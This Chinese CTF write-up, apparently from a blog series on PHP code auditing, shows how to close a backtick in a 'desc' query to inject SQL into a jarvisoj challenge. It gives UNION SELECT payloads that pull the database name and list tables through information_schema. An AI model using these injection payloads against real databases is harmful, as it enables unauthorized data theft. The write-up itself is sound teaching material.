PHP代码审计分段讲解(13)
代码审计分段讲解之29题,代码如下:
<?php require("config.php");
$table = $_GET['table']?$_GET['table']:"test";
$table = Filter($table);
mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();
$sql = "select 'flag{xxx}' from secret_{$table}";
$ret = sql_query($sql);
echo $ret[0]; ?>
题目源自jarvisoj平台,环境在:http://web.jarvisoj.com:32794/
我们直接开始进行代码审计
包含config.php文件
require("config.php");
使用GET方式传入table,赋值给table,默认为test
接着对table进行过滤
$table = Filter($table);
这里的Filter函数是我们不知道的,不过不影响代码审计
接着是
mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();
该行代码的意思为:
当mysqli_query()函数执行成功,则不调用Hacker()函数
当mysqli_query()函数执行失败,则调用Hacker()函数
对于mysqli_query函数的解释:
mysqli_query() 函数执行某个针对数据库的查询。//定义
mysqli_query(connection,query,resultmode);//语法
也就是说对链接的数据库执行desc 查询,我们又知道desc是用来查询表的结构的,如图:
又有:
从上图中可以看出来有:
desc xxx xxx;
desc `xxx` `xxx`
desc 'xxx' 'xxx'
desc "xxx" "xxx"
语句一和语句二是同样的效果,能够正常执行
语句三河语句四是同样的效果,均无法正常执行,所以我们通过闭合反引号来进行SQL语句的注入。
关于反引号,有:https://blog.csdn.net/u012546526/article/details/44568849
反引号 ` 在mysql中是为了区分mysql中的保留字符与普通字符而引入的符号
例如,如果test表中存在一个 from 字段,,当我们查找内容时,就需要使用反引号,以防使用保留字符而报错
select `from` from test
接下来的代码是一段SQL语句查询,并且输出第一个结果:
$ret = sql_query($sql);
echo $ret[0];
我们闭合反引号进行注入:
默认为:
desc `secret_test`
select 'flag{xxx}' from secret_test
查询数据库为:
desc `secret_test` `union select database() limit 1,1
select 'flag{xxx}' from secret_test` `union select database() limit 1,1
得知数据库为:
61d300
获取表
desc `secret_test` `union select group_concat(table_name) from information_schema.tables where table_schema=database() limit 1,1 select 'flag{xxx}' from secret_test` `union select group_concat(table_name) from information_schema.tables where table_schema=database() limit 1,1
得知表为
secret_flag,secret_test
后面的注入不再赘述。
提一下这个部分:
select 'flag{xxx}' from secret_test` `union select database() limit 1,1
这里的
secret_test` `union
关于中间的翻译好为什么没有影响到语句的执行,个人认为是因为两个反引号相当于了空格,后面的语句同理。
再提一下这个部分:
limit 1,1
因为可以看到代码最后是:
echo $ret[0];
因为只输出$ret[0],正常输出的话就是 flag{xxx},所以我们使用 limit 控制输出。
参考链接:
PHP代码审计分段讲解(13)的更多相关文章
- PHP代码审计分段讲解(14)
30题利用提交数组绕过逻辑 本篇博客是PHP代码审计分段讲解系列题解的最后一篇,对于我这个懒癌患者来说,很多事情知易行难,坚持下去,继续学习和提高自己. 源码如下: <?php $role = ...
- PHP代码审计分段讲解(11)
后面的题目相对于之前的题目难度稍微提升了一些,所以对每道题进行单独的分析 27题 <?php if(!$_GET['id']) { header('Location: index.php?id= ...
- PHP代码审计分段讲解(5)
11 sql闭合绕过 源代码为 <?php if($_POST[user] && $_POST[pass]) { $conn = mysql_connect("**** ...
- PHP代码审计分段讲解(1)
PHP源码来自:https://github.com/bowu678/php_bugs 快乐的暑期学习生活+1 01 extract变量覆盖 <?php $flag='xxx'; extract ...
- PHP代码审计分段讲解(12)
28题 <!DOCTYPE html> <html> <head> <title>Web 350</title> <style typ ...
- PHP代码审计分段讲解(10)
26 unserialize()序列化 <!-- 题目:http://web.jarvisoj.com:32768 --> <!-- index.php --> <?ph ...
- PHP代码审计分段讲解(9)
22 弱类型整数大小比较绕过 <?php error_reporting(0); $flag = "flag{test}"; $temp = $_GET['password' ...
- PHP代码审计分段讲解(8)
20 十六进制与数字比较 源代码为: <?php error_reporting(0); function noother_says_correct($temp) { $flag = 'flag ...
- PHP代码审计分段讲解(7)
17 密码md5比较绕过 <?php if($_POST[user] && $_POST[pass]) { mysql_connect(SAE_MYSQL_HOST_M . ': ...
随机推荐
- 时间序列数据的定义,读取与指数平滑(Java)
应上头的要求,需要实现以下指数平滑进行资源调度负载的预测,那就是用我最喜欢的Java做一下吧. 引用<计量经济学导论>的一句话:时间序列数据区别于横截面数据的一个明显特点是,时间序列数据集 ...
- 记一次使用idea插件CamelCase技巧
1.在idea中下载插件CamelCase插件 2.使用Shift+Alt+U快捷键进行转换 3.由于转换格式比较导致多次使用快捷键才能达到自己想要的效果,此插件提供了允许禁用某些转换或更改它们在首 ...
- TP3 根据时间区间搜索的方法
/** * 时间段查询条件获取 * @param string $star 获取开始时间的字段名 * @param string $end 获取结束时间的字段名 * @param string $zd ...
- Flask补充内容
关键字: 一,过滤器 二,增删改查 一,过滤器 1,概念:过滤器的本质就是函数.有时候我们不仅仅只是需要输出变量的值,我们还需要修改变量的显示,甚至格式化.运算等等,而在模板中是不能直接调用 Pyth ...
- kafka事务
Kafka 从 0.11 版本开始引入了事务支持.事务可以保证 Kafka 在 Exactly Once 语义的基 础上,生产和消费可以跨分区和会话,要么全部成功,要么全部失败. 开启幂等性的 Pro ...
- kettle练习
Kettle实现,把数据从CSV文件复制到Excel文件. 首先,创建一个转换,找到核心对象,找到输入里面的CVS文件输入图元,拖拽到工作区域,双击CVS文件输入. 可以修改步骤的名称,点击浏览,选择 ...
- 统计数字问题(Java)
Description 一本书的页码从自然数1 开始顺序编码直到自然数n.书的页码按照通常的习惯编排,每个页码都不含多余的前导数字0.例如,第6 页用数字6 表示,而不是06 或006 等.数字计数问 ...
- Java 合并多个文件内容到一个文件(递归遍历某个文件夹下所有文件)
这段代码通过Java I/O流API实现将多个文件合并到一个文件中,输出为文本文件,提供一个支持语法高亮的网站,http://www.codeinword.com/ 适合粘贴代码到word文档,小巧实 ...
- Java并发编程 - Runnbale、Future、Callable 你不知道的那点事(一)
从事Java开发已经快两年了,都说Java并发编程比较难,比较重要,关键面试必问,但是在我的日常开发过程中,还真的没有过多的用到过并发编程:这不疫情嘛,周末不能瞎逛,就看看师傅们常说的 Runnabl ...
- 一个工作三年左右的Java程序员和大家谈谈从业心得
转发链接地址:https://mp.weixin.qq.com/s/SSh9HcA5PgMHv7xiolQkig 貌似这一点适应的行业最广,但是我可以很肯定的说:当你从事web开发一年后,重新找工作时 ...